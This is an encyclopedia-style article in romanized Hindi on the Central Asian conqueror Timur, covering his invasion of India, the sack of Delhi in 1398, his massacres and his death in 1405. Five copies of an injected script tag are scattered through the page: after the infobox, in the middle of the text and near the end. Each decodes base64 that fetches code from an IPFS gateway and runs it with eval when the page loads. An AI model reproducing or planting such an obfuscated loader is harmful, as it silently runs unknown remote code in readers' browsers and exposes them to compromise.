तैमूर लंग
taimoor lang
| |
| poora nam | taimoor lang |
| janm | 1336 ee. |
| janm bhoomi | ujbekistan |
| mrityu tithi | 18 faravari sanh 1405 ee. |
| mrityu sthan | kazakhistan |
| shasan kal | 1369 ee. - 1405 ee. |
| sha. avadhi | 36 varsh |
| dharmik manyata | islam |
| vansh | taimoori rajavansh |
| any janakari | madhy eshiya mean hokar jitane bhi bhagy-parikshak aur vijeta guzare haian, unamean se char ke nam logoan ko abhi tak yad haian- sikandar, sultan mahamood, changez khaan aur taimoor. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
taimoor lang athava 'taimoor' [shuddh shabd 'timur' hai, jisaka arabi bhasha mean arth hai- loha][1] (1336 ee. - 1405 ee.) chaudahavian shatabdi ka ek shasak tha jisane mahanh taimoori rajavansh ki sthapana ki thi. taimoor 1369 ee. mean samarakand ke amir ke roop mean apane pita ke sianhasan par baitha aur isake bad hi vishv-vijay ke lie nikal p da. mesopotamiya, faras aur afaganistan ko vijit kar 1398 ee. mean usane apani vishal ashv sena ke sath bharat par akraman kiya aur dilli tak badh aya. marg mean usane sahasroan logoan ki hatya ki aur bahut se nagaroan ko nasht-bhrasht kar diya. usane dilli ke nikat sultan mahamood tugalaq ki vishal sena ko nirnayak roop se parast kar diya aur 18 disanbar 1398 ee. ko dilli ke aandar pravesh kiya. usake sainikoan ne kee dinoan tak rajadhani ki lootapat ki. dilli mean vah keval 15 din ruka, phir hazaroan chhak doan par loot ka mal ladakar apane vatan vapas laut gaya. march 1398 ee. mean usaki sena siandhu ke jin-jin ilakoan se hokar gujari, vahaan arajakata, akal aur mahamari phail gayi. usake akraman se dilli saltanat ki j dean hil gayian aur usaka shighr hi patan ho gaya.[2]
barbar vyaktitv
changez khaan aur usake mangol bhi beraham aur barabadi karane vale the, par ve apane zamane ke doosare logoan ki tarah hi the. lekin taimoor unase bahut hi bura tha. aniyantrit aur paishachik kroorata mean usaka muqabala karane vala koee doosara nahian tha. kahate haian, ek jagah usane do hazar zinda adamiyoan ki ek minar banavaee aur unhean eeant aur gare mean chunava diya. 'taimoor lang' doosara changez khaan banana chahata tha. vah changez ka vanshaj hone ka dava karata tha, lekin asal mean vah turk tha. vah lang da tha, isalie 'taimoor lang' kahalata tha. vah apane bap ke bad san 1369 ee. mean samarakand ka shasak bana. isake bad hi usane apani vijay aur kroorata ki yatra shuroo ki. vah bahut b da sipahasalar tha, lekin poora vahashi bhi tha. madhy eshiya ke mangol log is bich mean musalaman ho chuke the aur taimoor khud bhi musalaman tha. lekin musalamanoan se pala p dane par vah unake sath jara bhi mulamiyat nahian baratata tha. jahaan-jahaan vah pahuancha, usane tabahi aur bala aur poori musibat phaila di. nar-muandoan ke b de-b de dher lagavane mean use khas maja ata tha. poorv mean dilli se lagakar pashchim mean eshiya-kochak tak usane lakhoan adami qatl kar dale aur unake kate siroan ko stoopoan ki shaql mean jamavaya.
bharat ki daulat ka akarshan
|
chitr:Blockquote-open.gif
pita ke bad san 1369 ee. mean taimoor samarakand ka shasak bana. isake bad hi usane apani vijay aur kroorata ki yatra shuroo ki. vah bahut b da sipahasalar tha, lekin poora vahashi bhi tha. madhy eshiya ke mangol log is bich mean musalaman ho chuke the aur taimoor khud bhi musalaman tha. lekin musalamanoan se pala p dane par vah unake sath jara bhi mulamiyat nahian baratata tha. jahaan-jahaan vah pahuancha, usane tabahi aur bala ki poori musibat phaila di. nar-muandoan ke b de-b de dher lagavane mean use khas maja ata tha.
chitr:Blockquote-close.gif |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bharat ki daulat ne is vahashi ko akarshit kiya. apane sipahasalaroan aur amiroan ko bharat par hamala karane ke lie razi karane mean ise kuchh kathinaee huee. samarakand mean ek b di sabha huee, jisamean amiroan ne bharat jane par isalie aitaraj kiya ki vahaan garmi bahut zyada p dati hai. aant mean taimoor ne vada kiya ki vah bharat mean thaharega nahian, loot-mar karake vapas chala ayega. usane apana vada poora bhi kiya.
tatkalin bharat
thumb|250px|taimoor ki pratima uttar bharat mean us vaqt musalamani rajy tha. dilli mean ek sultan raj karata tha. lekin yah musalamani riyasat kamazor thi aur sarahad par mangoloan se barabar l daee karate-karate isaki kamar toot gee thi. isalie jab taimoor mangoloan ki fauj lekar aya to usaka koee k da muqabala nahian hua aur vah qatleam karata aur khopadiyoan ke stoop banata hua maze ke sath age badhata gaya. hindoo aur musalaman donoan qatl kiye ge. maloom hota hai ki unamean koee farq nahian kiya gaya. ab zyada qaidiyoan ko sambhalana mushkil ho gaya to usane unake qatl ka hukm de diya aur is tarah se ek lakh qaidi mar dale ge. kahate haian, ek jagah hindoo aur musalaman donoan ne milakar jauhar ki rajapooti rasm ada ki thi, yani yuddh mean l date-l date mar jane ke lie bahar nikal p de the. raste bhar vah yahi karata gaya. taimoor ki fauj ke pichhe-pichhe akal aur mahamari chalati thi. dilli mean vah 15 din raha aur usane is b de shahar ko kasaeekhana bana diya. bad mean kashmir ko lootata hua vah samarakand vapas laut gaya.
taimoor ke bad dilli
taimoor ke jane ke bad dilli murdoan ka shahar rah gaya. charoan taraph akal aur mahamari ka raj tha. do mahine n koee raja tha aur n sangathan, n vyavastha. bahut kam log hi vahaan rah gaye. yahaan tak ki jis adami ko taimoor ne dilli ka vaisaray niyukt kiya tha, vah bhi multan chala gaya.
eeran aur irak mean tabahi
isake bad taimoor eeran aur irak mean tabahi aur barabadi phailata hua pashchim ki taraph badha. aangora mean sanh 1402 ee. mean usmani turkoan ki ek b di fauj ke sath isaka muqabala hua. apane sainik kaushal se usane turkoan ko hara diya. lekin samudr ke age usaka bas nahian chala aur vah basaphoras ko par n kar saka. isalie yoorop usase bach gaya.
vastukala ka shauqin
halaanki taimoor vahashi tha, par vah samarakand mean aur madhy eshiya mean doosari jagahoan par khoobasoorat imaratean banavana chahata tha. isalie bahut din pahale ke sultan mahamood ki tarah usane bharat ke karigaroan, rajagiroan aur hoshiyar mistriyoan ko ikattha kiya aur unhean apane sath le gaya. inamean se jo sabase achchhe karigar aur rajagir the, unhean usane apani shahi naukar mean rakh liya. baki ko usane pashchim eshiya ke khas-khas shaharoan mean bhej diya. is tarah imaratean banane ki kala ki ek nee shaili ka vikas hua.
mrityu
tin varsh ke bad 18 faravari sanh 1405 ee. mean, jab vah chin ki taraph badh raha tha, taimoor mar gaya. usi ke sath usaka lamba-chau da samrajy bhi, jo qarib-qarib sare pashchim eshiya mean phaila hua tha, gart ho gaya. usmani turk, misr aur sunahare qabile ise khiraj dete the. lekin usaki yogyata sirf usaki adabhut sipahasalari tak hi simit thi. saiberiya ke barphistan mean usaki kuchh ran-yatrayean asadharan rahi haian. par asal mean vah ek jangali khanabadosh tha. usane n to koee sangathan banaya aur n hi changez ki tarah samrajy chalane ke lie apane pichhe koee qabil adami chho da. isalie taimoor ka samrajy usi ke sath hi khatm ho gaya aur sirf barabadi aur qatleam ki yadean apane pichhe chho d gaya. madhy eshiya mean hokar jitane bhi bhagy-parikshak aur vijeta guzare haian, unamean se char ke nam logoan ko abhi tak yad haian- sikandar, sultan mahamood, changez khaan aur taimoor.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>